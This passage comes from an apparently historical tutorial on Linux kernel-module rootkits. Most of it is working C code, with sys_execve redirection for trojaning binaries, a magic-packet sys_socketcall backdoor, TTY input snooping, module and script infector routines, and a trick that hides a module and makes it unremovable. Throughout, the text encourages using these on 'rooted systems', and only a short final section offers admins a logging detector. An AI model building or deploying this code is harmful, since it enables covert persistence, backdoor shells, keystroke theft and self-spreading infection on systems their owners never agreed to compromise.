- shows us about every process is gained from reading the files inside /proc/PID/.
- Now you should get the idea.'ps' must read the contents of the /proc/ directory,
- so it must use sys_getdents(...).We just must get the name of the a PID found in
- /proc/; if it is our process name we want to hide, we will hide it from /proc/
- (like we did with other files in the filesystem -> see 4.1). The two task
- functions and the invisible(...) function are only used to get the name for a
- given PID found in the proc directory and related stuff. The file hiding should
- be clear after studying 4.1.<br>
- I would improve only one point in plaguez approuch. I don't know why he used
- a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
- are peanuts. Of course, in a complete hide module you would put file and process
- hiding in one hacked getdents call (this is the way plaguez did it).<br>
- Runar Jensen used another, more complicated way. He also hides the PIDs from the
- /proc directory, but the way he checks whether to hide or not is a bit different.
- He uses the flags field in the task structure. This unsigned long field normally
- uses the following constants to save some information on the task :<br>
- <ul>
- <li>PF_PTRACED : current process is observed<br>
- <li>PF_TRACESYS : " " " "<br>
- <li>PF_STARTING : process is going to start<br>
- <li>PF_EXITING : process is going to terminate<br>
- </ul>
- Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
- that the corresponding process should be invisible. So a PID found in /proc by
- using sys_getdents(...) must not be resolved in its name. You only have to check
- for the task flag field. This sounds easier than the 'name approach'. But how to
- set this flag for a process we want to hide. Runar Jensen used the easiest way
- by hooking sys_kill(...). The 'kill' command can send a special code (9 for
- termination, for example) to any process speciafied by his PID. So start your
- process which is going to be invisible, do a 'ps' for getting its PID. And use
- a 'kill -code PID'. The code field must be a value that is not used by the
- system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
- to hook sys_kill(...) and check for a code of 32. If so it must set the task
- flags field of the process specified through the PID given to sys_kill(...).
- This is a way to set the flag field. Now it is clear why this approach is a bit
- too complicated for an easy practical use.
- <H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
- In certain situations it could be very interesting to redirect the execution
- of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
- would allow you to insert any trojan without problem of checksum checks on those
- files (you don't need to change them). So let's again search the responsible
- systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
- way of redirection (the original idea came from halflife) :<br>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- /*must be defined because of syscall macro used below*/
- int errno;
- /*we define our own systemcall*/
- int __NR_myexecve;
- /*we must use brk*/
- static inline _syscall1(int, brk, void *, end_data_segment);
- int (*orig_execve) (const char *, const char *[], const char *[]);
- /*here plaguez's user -> kernel space transition specialized for strings
- is better than memcpy_fromfs(...)*/
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char *tmp = src;
- int compt = 0;
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
- return dest;
- }
- /*this is something like a systemcall macro called with SYS_execve, the
- asm code calls int 0x80 with the registers set in a way needed for our own
- __NR_myexecve systemcall*/
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
- (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
- int hacked_execve(const char *filename, const char *argv[], const char *envp[])
- {
- char *test;
- int ret, tmp;
- char *truc = "/bin/ls"; /*the file we *should* be executed*/
- char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/
- unsigned long mmm;
- test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
- /*get file which a user wants to execute*/
- (void) strncpy_fromfs(test, filename, strlen(truc));
- test[strlen(truc)] = '\0';
- /*do we have our truc file ?*/
- if (!strcmp(test, truc))
- {
- kfree(test);
- mmm = current->mm->brk;
- ret = brk((void *) (mmm + 256));
- if (ret < 0)
- return ret;
- /*set new program name (the program we want to execute instead of /bin/ls or
- whatever)*/
- memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
- /*execute it with the *same* arguments / environment*/
- ret = my_execve((char *) (mmm + 2), argv, envp);
- tmp = brk((void *) mmm);
- } else {
- kfree(test);
- /*no the program was not /bin/ls so execute it the normal way*/
- ret = my_execve(filename, argv, envp);
- }
- return ret;
- }
- int init_module(void) /*module setup*/
- {
- /*the following lines choose the systemcall number of our new myexecve*/
- __NR_myexecve = 200;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- orig_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0)
- {
- sys_call_table[__NR_myexecve] = orig_execve;
- sys_call_table[SYS_execve] = (void *) hacked_execve;
- }
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_execve]=orig_execve;
- }
- </xmp>
- When you loaded this module, every call to /bin/ls will just execute /bin/ps.
- The following list gives you some ideas how to use this redirection of execve :
- <ul>
- <li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
- <li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
- behaviour (remember CERT advisory on a trojan TCPD version)<br>
- <li>trojan inetd for a root shell<br>
- <li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
- issuing a special magic string<br>
- <li>trojan tools like tripwire, L6<br>
- <li>other system security relevant tools<br>
- </ul>
- There are thousands of other intersting programs to 'trojan', just use your
- brain.
- <H3><A NAME="II.6."></A>6. Network (Socket) related Hacks</h3>
- The network is the hacker's playground. So let's look at something which can
- help us.
- <H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4>
- There are many things you can do by controlling Socket Operations. plaguez gave
- us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
- for a packet with a certain length and a certain contents. So let's take a look
- at his hacked systemcall (I will only show the hacked_systemcall, because the
- rest is equal to every other LKM mentioned in this section) :
- <xmp>
- int hacked_socketcall(int call, unsigned long *args)
- {
- int ret, ret2, compt;
- /*our magic size*/
- int MAGICSIZE=42;
- /*our magic contents*/
- char *t = "packet_contents";
- unsigned long *sargs = args;
- unsigned long a0, a1, mmm;
- void *buf;
- /*do the call*/
- ret = (*o_socketcall) (call, args);
- /*did we have magicsize & and a recieve ?*/
- if (ret == MAGICSIZE && call == SYS_RECVFROM)
- {
- /*work on arguments*/
- a0 = get_user(sargs);
- a1 = get_user(sargs + 1);
- buf = kmalloc(ret, GFP_KERNEL);
- memcpy_fromfs(buf, (void *) a1, ret);
- for (compt = 0; compt < ret; compt++)
- if (((char *) (buf))[compt] == 0)
- ((char *) (buf))[compt] = 1;
- /*do we have magic_contents ?*/
- if (strstr(buf, mtroj))
- {
- kfree(buf);
- ret2 = fork();
- if (ret2 == 0)
- {
- /*if so execute our proggy (shell or whatever you want...) */
- mmm = current->mm->brk;
- ret2 = brk((void *) (mmm + 256));
- memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
- /*plaguez's execve implementation -> see 4.2*/
- ret2 = my_execve((char *) mmm + 2, NULL, NULL);
- }
- }
- }
- return ret;
- }
- </xmp>
- Ok, as always I added some comments to the code, which is a bit ugly, but working.
- The code intercepts every sys_socketcall (which is responsible for everything
- concerning socket-operations see I.2). Inside the hacked systemcall the code
- first issues a normal systemcall. After that the return value and call variables
- are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
- do with TCP/IP packets...) is ok it will check the contents which was received.
- If it can find our magic contents, the code can be sure,that we (hacker) want to
- start the backdoor program. This is done by my_execve(...).<br>
- In my opinion this approach is very good, it would also be possible to wait
- for a speciel connect / close pattern, just be creative.<br>
- Please remember that the methods mentioned above need a service listing on a
- certain port, because the receive function is only issued by daemons receiving
- data from an established connection. This is a disadvantage, because it could be
- a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
- first on your system to see what will happen. Find your favourite way of
- backdoor'ing the sys_socketcall, and use it on your rooted systems.
- <H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
- TTY hijacking is very interesting and also something used since a very very long
- time. We can grab every input from a TTY we specify throug its major and minor
- number. In Phrack 50 halflife published a really good LKM doing this. The
- following code is ripped from his LKM. It should show every beginner the basics
- of TTY hijacking though its no complete implementation, you cannot use it in any
- useful way, because I did <i>not</i> implement a way of logging the TTY input made
- by the user. It's just for those of you who want to understand the basics, so
- here we go :
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- #include <asm/io.h>
- #include <sys/sysmacros.h>
- int errno;
- /*the TTY we want to hijack*/
- int tty_minor = 2;
- int tty_major = 4;
- extern void* sys_call_table[];
- /*we need the write systemcall*/
- static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
- void *original_write;
- /* check if it is the tty we are looking for */
- int is_fd_tty(int fd)
- {
- struct file *f=NULL;
- struct inode *inode=NULL;
- int mymajor=0;
- int myminor=0;
- if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
- return 0;
- mymajor = major(inode->i_rdev);
- myminor = minor(inode->i_rdev);
- if(mymajor != tty_major) return 0;
- if(myminor != tty_minor) return 0;
- return 1;
- }
- /* this is the new write(2) replacement call */
- extern int new_write(int fd, char *buf, size_t count)
- {
- int r;
- char *kernel_buf;
- if(is_fd_tty(fd))
- {
- kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
- memcpy_fromfs(kernel_buf, buf, count);
- /*at this point you can output buf whereever you want, it represents
- every input on the TTY device referenced by the chosen major / minor
- number
- I did not implement such a routine, because you will see a complete &
- very good TTY hijacking tool by halflife in appendix A */
- kfree(kernel_buf);
- }
- sys_call_table[SYS_write] = original_write;
- r = write(fd, buf, count);
- sys_call_table[SYS_write] = new_write;
- if(r == -1) return -errno;
- else return r;
- }
- int init_module(void)
- {
- /*you should know / understand this...*/
- original_write = sys_call_table[SYS_write];
- sys_call_table[SYS_write] = new_write;
- return 0;
- }
- void cleanup_module(void)
- {
- /*no more hijacking*/
- sys_call_table[SYS_write] = original_write;
- }
- </xmp>
- The comments should make this code easy to read.The general idea is to intercept
- sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
- checking fd for the TTY we want to snoop, get the data written and write it
- to some log (not implemented in the example above).There are several ways where
- you can store the logs.halflife used a buffer (accessible through an own device)
- which is a good idea (he can also control his hijack'er using ioctl-commands
- on his device).<br>
- I personally would recommand storing the logs in hidden (through LKM) file,
- and making the controlling through some kind of IPC. Take the way which works
- on your rooted system.<br>
- <H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
- Now we will leave the hacking part for a second and take a look at the
- world of virus coding (the ideas discussed here could also be
- interesting for hackers, so read on...). I will concentrate this discussion
- on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the
- complete source, so this section will only discuss important techniques and
- functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
- and kerneld installed (I will explain why).<br>
- First of all you have to know that this LKM infector does not infect normal
- elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
- it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
- is often managed by kerneld (see I.7). So imagine a module infected with the
- virus code; when loading this module you also load the virus LKM which uses
- hiding features (see 8). This virus module intercepts the sys_create_module
- and sys_delete_module (see I.2) systemcalls for further infection. Whenever
- a module is unloaded on that system it is infected by the new sys_delete_module
- systemcall. So every module requested by kerneld (or manually) will be infected
- when unloaded.<br>
- You could imagine the following scenario for the first infection :
- <ul>
- <li>admin is searching a network driver for his new interface card (ethernet,...)<br>
- <li>he starts searching the web <br>
- <li>he finds a driver module which should work on his system & downloads it<br>
- <li>he installs the module on his system [the module <i>is</i> infected]<br>
- --> the infector is installed, the system is compromised<br>
- </ul>
- Of course, he did not download the source, he was lazy and took the risks using
- a binary file. So admins <i>never</i> trust any binary files (esp. modules).
- So I hope you see the chances / risks of LKM infectors, now let's look a bit
- closer at the LKM infector by SVAT.<br>
- Imagine you have the source for the virus LKM (a simple module, which intercepts
- sys_create_module / sys_delete_module and some other [more tricky] stuff). The
- first question would be how to infect an existing module (the host module). Well
- let's do some experimenting. Take two modules and 'cat' them together like
- <xmp>
- # cat module1.o >> module2.o
- </xmp>
- After this try to insmod the resulting module2.o (which also includes module1.o
- at its end).
- <xmp>
- # insmod module2.o
- </xmp>
- Ok it worked, now check which modules are loaded on your system
- <xmp>
- # lsmod
- Module Pages Used by
- module2 1 0
- </xmp>
- So we know that by concatenating two modules the first one (concerning object
- code) will be loaded, the second one will be ignored. And there will be no error
- saying that insmod can not load corrupted code or so.<br>
- With this in mind, it should be clear that a host module could be infected by
- <xmp>
- cat host_module.o >> virus_module.o
- ren virus_module.o host_module.o
- </xmp>
- This way loading host_module.o will load the virus with all its nice LKM
- features. But there is one problem, how do we load the actual host_module ? It
- would be very strange to a user / admin when his device driver would do nothing.
- Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
- a module. Just use request_module("module_name") in your sources.This will force
- kerneld to load the specified module. But where do we get the original host
- module from ? It is packed in host_module.o (together with virus_module.o). So
- after compiling your virus_module.c to its objectcode you have to look at its
- size (how many bytes). After this you know where the original host_module.o will
- begin in the packed one (you must compile the virus_module two times : the first
- one to check the objectcode size, the second one with the source changed
- concerning objectsize which must be hardcoded...). After these steps your
- virus_module should be able to extract the original host_module.o from the
- packed one. You have to save this extracted module somewhere, and load it via
- request_module("orig_host_module.o"). After loading the original host_module.o
- your virus_module (which is also loaded from the insmod [issued by user, or
- kerneld]) can start infecting any loaded modules.<br>
- Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
- infection, so let's take a look at his hacked systemcall (I only added some
- comments) :
- <xmp>
- /*just the hacked systemcall*/
- int new_delete_module(char *modname)
- {
- /*number of infected modules*/
- static int infected = 0;
- int retval = 0, i = 0;
- char *s = NULL, *name = NULL;
-
- /*call the original sys_delete_module*/
- retval = old_delete_module(modname);
- if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
- return retval;
-
- /*check files to infect -> this comes from hacked sys_create_module; just
- a feature of *this* LKM infector, nothing generic for this type of virus*/
- for (i = 0; files2infect[i][0] && i < 7; i++)
- {
- strcat(files2infect[i], ".o");
- if ((s = get_mod_name(files2infect[i])) == NULL)
- {
- return retval;
- }
- name = strcpy(name, s);
- if (!is_infected(name))
- {
- /*this is just a macro wrapper for printk(...)*/
- DPRINTK("try 2 infect %s as #%d\n", name, i);
- /*increase infection counter*/
- infected++;
- /*the infect function*/
- infectfile(name);
- }
- memset(files2infect[i], 0, 60 + 2);
- } /* for */
- /* its enough */
- /*how many modules were infected, if enough then stop and quit*/
- if (infected >= ENOUGH)
- cleanup_module();
- vfree(name);
- return retval;
- }
- </xmp>
- Well there is only one function interesting in this systemcall: infectfile(...).
- So let's examine that function (again only some comments were added by me) :
- <xmp>
- int infectfile(char *filename)
- {
- char *tmp = "/tmp/t000";
- int in = 0, out = 0;
- struct file *file1, *file2;
-
- /*don't get confused, this is a macro define by the virus. It does the
- kernel space -> user space handling for systemcall arguments(see I.4)*/
- BEGIN_KMEM
- /*open objectfile of the module which was unloaded*/
- in = open(filename, O_RDONLY, 0640);
- /*create a temp. file*/
- out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
- /*see BEGIN_KMEM*/
- END_KMEM
-
- DPRINTK("in infectfile: in = %d out = %d\n", in, out);
- if (in <= 0 || out <= 0)
- return -1;
- file1 = current->files->fd[in];
- file2 = current->files->fd[out];
- if (!file1 || !file2)
- return -1;
- /*copy module objectcode (host) to file2*/
- cp(file1, file2);
- BEGIN_KMEM
- file1->f_pos = 0;
- file2->f_pos = 0;
- /* write Vircode [from mem] */
- DPRINTK("in infetcfile: filenanme = %s\n", filename);
- file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
- cp(file2, file1);
- close(in);
- close(out);
- unlink(tmp);
- END_KMEM
- return 0;
- }
- </xmp>
- I think the infection function should be quite clear.<br>
- There is only thing left which I think is necessary to discuss : How does
- the infected module first start the virus, and load the original module (we know
- the theory, but how to do it in reality) ?<br>
- For answering this question lets take a look at a function called
- load_real_mod(char *path_name, char* name) which manages that problem :
- <xmp>
- /* Is that simple: we disinfect the module [hide 'n seek]
- * and send a request to kerneld to load
- * the orig mod. N0 fuckin' parsing for symbols and headers
- * is needed - cool.
- */
- int load_real_mod(char *path_name, char *name)
- {
- int r = 0, i = 0;
- struct file *file1, *file2;
- int in = 0, out = 0;
- DPRINTK("in load_real_mod name = %s\n", path_name);
- if (VirCode)
- vfree(VirCode);
- VirCode = vmalloc(MODLEN);
- if (!VirCode)
- return -1;
- BEGIN_KMEM
- /*open the module just loaded (->the one which is already infected)*/
- in = open(path_name, O_RDONLY, 0640);
- END_KMEM
- if (in <= 0)
- return -1;
- file1 = current->files->fd[in];
- if (!file1)
- return -1;
- /* read Vircode [into mem] */
- BEGIN_KMEM
- file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
- close(in);
- END_KMEM
- /*split virus / orig. module*/
- disinfect(path_name);
- /*load the orig. module with kerneld*/
- r = request_module(name);
- DPRINTK("in load_real_mod: request_module = %d\n", r);
- return 0;
- }
- </xmp>
- It should be clear *why* this LKM infector need kerneld now, we need to load the
- original module by requesting it with request_module(...).
- I hope you understood this very basic journey through the world of LKM infectors
- (virus). The next sub sections will show some basic extensions / ideas concering
- LKM infectors.
- <H4><A NAME="II.8.1."></A>8.1 How a LKM virus can infect any file (not just modules)</h4>
- Please don't blame me for not showing a working example of this idea, I just
- don't have the time to implement it at the moment (look for further releases).
- As you saw in II.4.2 it is possible to catch the execute of every file using
- an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
- appends some data to the program that is going to be executed. The next time
- this program is started, it first starts our added part and then the original
- program (just a basic virus scheme). We all know that there are some existing
- Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
- executables not just modules.We could infect our executables,in a way that they
- check for UID=0 and then load again our infection module... I hope you
- understood the general idea. <br>
- I have to admit, that the modification needed to elf files is quite tricky, but
- with enough time you could do it (it was done several times before, just take a
- look at existing Linux viruses).<br>
- First of all you have to check for the file type which is going to be execute
- by sys_execve(...). There are several ways to do it; one of the fastest is to
- read some bytes from the file and checking them against the ELF string. After
- this you can use write(...) / read(...) / ... calls to modify the file, look at
- the LKM infector to see how it does it.<br>
- My theory would stay theory without any proof, so I present a very easy and
- useless LKM *script* infector. You cannot do anything virus like with it, it just
- infects a script with certain commands and nothing else; no real virus features.<br>
- I show you this example as a concept of LKMs infecting any file you execute.
- Even Java files could be infected, because of the features provided by the Linux
- kernel. Here comes the little LKM script infector :
- <xmp>
- #define __KERNEL__
- #define MODULE
- /*taken from the original LKM infector; it makes the whole LKM a lot easier*/
- #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
- #define END_KMEM set_fs(old_fs);}
- #include <linux/version.h>
- #include <linux/mm.h>
- #include <linux/unistd.h>
- #include <linux/fs.h>
- #include <linux/types.h>
- #include <asm/errno.h>
- #include <asm/string.h>
- #include <linux/fcntl.h>
- #include <sys/syscall.h>
- #include <linux/module.h>
- #include <linux/malloc.h>
- #include <linux/kernel.h>
- #include <linux/kerneld.h>
- int __NR_myexecve;
- extern void *sys_call_table[];
- int (*orig_execve) (const char *, const char *[], const char *[]);
- int (*open)(char *, int, int);
- int (*write)(unsigned int, char*, unsigned int);
- int (*read)(unsigned int, char*, unsigned int);
- int (*close)(int);
- /*see II.4.2 for explanation*/
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
- /*infected execve systemcall + infection routine*/
- int hacked_execve(const char *filename, const char *argv[], const char *envp[])
- {
- char *test, j;
- int ret;
- int host = 0;
- /*just a buffer for reading up to 20 files (needed for identification of
- execute file*/
- test = (char *) kmalloc(21, GFP_KERNEL);
- /*open the host script, which is going to be executed*/
- host=open(filename, O_RDWR|O_APPEND, 0640);
- BEGIN_KMEM
- /*read the first 20 bytes*/
- read(host, test, 20);
- /*is it a normal shell script (as you see, you can modify this for *any*
- executable*/
- if (strstr(test, "#!/bin/sh")!=NULL)
- {
- /*a little debug message*/
- printk("<1>INFECT !\n");
- /*we are friendly and attach a peaceful command*/
- write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
- }
- END_KMEM
- /*modification is done, so close our host*/
- close(host);
- /*free allocated memory*/
- kfree(test);
- /*execute the file (the file is execute WITH the changes made by us*/
- ret = my_execve(filename, argv, envp);
- return ret;
- }
- int init_module(void) /*module setup*/
- {
- __NR_myexecve = 250;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- orig_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0)
- {
- printk("<1>everything OK\n");
- sys_call_table[__NR_myexecve] = orig_execve;
- sys_call_table[SYS_execve] = (void *) hacked_execve;
- }
- /*we need some functions*/
- open = sys_call_table[__NR_open];
- close = sys_call_table[__NR_close];
- write = sys_call_table[__NR_write];
- read = sys_call_table[__NR_read];
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_execve]=orig_execve;
- }
- </xmp>
- This is too easy to waste some words on it. Of course, this module does
- <i>not</i> need kerneld for spreading (interesting for kernel without kerneld
- support). <br>
- I hope you got the idea on infecting any executable, this is a very strong
- method of killing large systems.
- <H4><A NAME="II.8.2."></A>8.2 How can a LKM virus help us to get in</h4>
- As you know virus coders are not hackers, so what about interesting features for
- hackers. Think about this problem (only ten seconds), you should realize, that
- a whole system could be yours by introducing a trojan (infected) LKM.<br>
- Remember all the nice hacks we discussed till now.Even without trojans you could
- hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
- home directoy. Believe me, it is easier to infect a system with a real good LKM
- than doing the same stuff as root again and again. It's more elagent to let the
- LKM make the work for you. Be CREATIVE...
- <H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
- Now it's time to start talking about the most important / interesting Hack I
- will present. This idea comes from plaguez's LKM published in Phrack (other
- people like Solar Designer discussed this before...).<br>
- So far we are able to hide files, processes, directories, and whatever we
- want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
- /proc/modules. There are many ways we can solve this problem. The first solution
- could be a partial file hiding (see II.4.3). This would be easy to implement,
- but there is a better more advanced and secure way. Using this technique you
- must also intercept the sys_query_module(...) systemcall. An example of this
- approach can be seen in A-b.<br>
- As I explained in I.1 a module is finally loaded by issuing a init_module(...)
- systemcall which will start the module's init function. init_module(...) gets
- an argument : struct mod_routines *routines. This structure contains very
- important information for loading the LKM. It is possible for us to manipulate
- some data from this structure in a way our module will have no name and no
- references. After this the system will no longer show our LKM in /proc/modules,
- because it ignores LKMs with no name and a refernce count equal to 0. The
- following lines show how to access the part of mod_routines, in order to hide
- the module.<br>
- <xmp>
- /*from Phrack & AFHRM*/
- int init_module()
- {
- register struct module *mp asm("%ebp"); // or whatever register it is in
- *(char*)mp->name=0;
- mp->size=0;
- mp->ref=0;
- ...
- </xmp>
- This code trusts in the fact that gcc did not manipulate the ebp register
- because we need it in order to find the right memory location. After finding
- the structure we can set the structure's name and references members to 0 which
- will make our module invisible and also unremovable, because you can only remove
- LKMs which the kernel knows, but our module is unknow to the kernel.<br>
- Remember that this trick only works if you use gcc in way it does not touch the
- register you need to access for getting the structure.You must use the following
- gcc options :
- <xmp>
- #gcc -c -O3 -fomit-frame-pointer module.c
- </xmp>
- fomit-frame-pointer says cc not to keep frame pointer in registers for functions
- that don't need one. This keeps our register clean after the function call of
- init_module(...), so that we can access the structure.<br>
- In my opinion this is the most important trick, because it helps us to develope
- hidden LKMs which are also unremovable.
- <H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
- In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
- infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
- the socketcall loading a module instead of starting our backdoor shellscript or
- program. You could load a module adding an entry to passwd or inetd.conf. After
- loading this second LKM you have many possibilities of changing systemfiles.
- Again, be creative.
- <H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
- We learned many ways a module can help us to subvert a system. So imagine you
- code yourself a nice backdoor tool (or take an existing) which isn't implemented
- in the LKM you use on that system; just something like pingd, WWW remote shell,
- shell, .... How can you check after logging in on the system that your LKM is
- still working? Imagine what would happen if you enter a session and the admin is
- waiting for you without your LKM loaded (so no process hiding etc.). So you
- start doing you job on that system (reading your own logs, checking some mail
- traffic and so on) and every step is monitored by the admin. Well no good
- situation, we must know that our LKM is working with a simple check.<br>
- I suppose the following way is a good solution (although there may be many other
- good ones):
- <ul>
- <li> implement a special systemcall in your module<br>
- <li> write a little user space program checking for that systemcall<br>
- </ul>
- Here is a module which implements our 'check systemcall' :
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- #define SYS_CHECK 200
- extern void* sys_call_table[];
- int sys_check()
- {
- return 666;
- }
- int init_module(void) /*module setup*/
- {
- sys_call_table[SYS_CHECK]=sys_check;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {}
- </xmp>
- If you issue a systemcall with the number 200 in eax we should get a return of
- 666. So here is our user space program checking for this :
- <xmp>
- #include <linux/errno.h>
- #include <sys/syscall.h>
- #include <errno.h>
- extern void *sys_call_table[];
- int check()
- {
- __asm__("movl $200,%eax
- int $0x80");
- }
- main()
- {
- int ret;
- ret = check();
- if (ret!=666)
- printf("Our module is *not* present !!\n");
- else
- printf("Our module is present, continue...\n");
- }
- </xmp>
- In my opinion this is one of the easiest ways to check for presents of our LKM,
- just try it.
- <u><b>
- <H2>III. Soltutions (for admins)</H2>
- </u></b>
- <P><P>
- <H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
- I think it is time to help admins securing their system from hostile LKMs.<br>
- Before explaining some theories remember the following for a secure system :<br>
- <ul>
- <li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
- also relevant for normal executables)<br>
- <li> if you have the sources, check them (if you can). Remember the tcpd trojan
- problem. Large software packets are mostly quite complex to understand, but
- if you need a very secure system you should analyse the source code.<br>
- </ul>
- Even if you follow those tips it could be possible that an intruder activates an
- LKM on your system (overflows etc.). <br>
- So what about a LKM logging every module loaded, and denying every load attempt
- from a directory different from a secure one (to avoid simple overflows; that's no
- perfect way...). The logging can be easily done by intercepting the
- create_module(...) systemcall. The same way you could check for the directory
- the loaded module comes from. <br>
- It would also be possible to deny any module loading, but this is a very bad way,
- because you really need them. So what about modifying module loading in a way
- you can supply a password, which will be checked in your intercepted
- create_module(...). If the password is correct the module will be loaded, if not
- it will be dropped.<br>
- It should be clear that you have to hide your LKM to make it unremovable. So
- let's take a look at some prototype implemantations of the logging LKM and the
- password protected create_module(...) systemcall.<br>
- <H4><A NAME="III.1.1."></A>1.1 Practical Example of a prototype Detector</h4>
- Nothing to say about that simple implementation, just intercept
- sys_create_module(...) and log the names of modules which were loaded.
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_create_module)(char*, unsigned long);
- int hacked_create_module(char *name, unsigned long size)
- {
- char *kernel_name;
- char hide[]="ourtool";
- int ret;
-
- kernel_name = (char*) kmalloc(256, GFP_KERNEL);
- memcpy_fromfs(kernel_name, name, 255);
- /*here we log to syslog, but you can log where you want*/
- printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
-
- ret=orig_create_module(name, size);
- return ret;
- }
- int init_module(void) /*module setup*/
- {
- orig_create_module=sys_call_table[SYS_create_module];
- sys_call_table[SYS_create_module]=hacked_create_module;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_create_module]=orig_create_module;
- }
- </xmp>
- This is all you need, of course you should add the lines required for hiding the
- module, but this is no problem. After making it unremovable this way, a hacker
- can only modify the log file, but you could also save your logs, to a file
- unaccessible for the hacker (see II.1 for required tricks).
- Of course you can also intercept sys_init_module(...)which would also show every
- module, that's just a matter of taste.
- <H4><A NAME="III.1.2."></A>1.2 Practical Example of a prototype password protected create_module(...)</h4>
- This subsection will deal with the possibility to add authentication to module
- loading. We need two things to manage this task :
- <ul>
- <li> a way to check module loading (easy)<br>
- <li> a way to authenticate (quite difficult)<br>
- </ul>
- The first point is very easy to code, just intercept sys_create_module(...) and
- check some variable, which tells the kernel wether this load process is legal.
- But how to do authentication. I must admit that I did not spend many seconds on
- thinking about this problem, so the solution is more than bad, but this is a LKM
- article, so use your brain, and create something better. My way to do it, was
- to intercept the stat(...) systemcall, which is used if you type any command,and
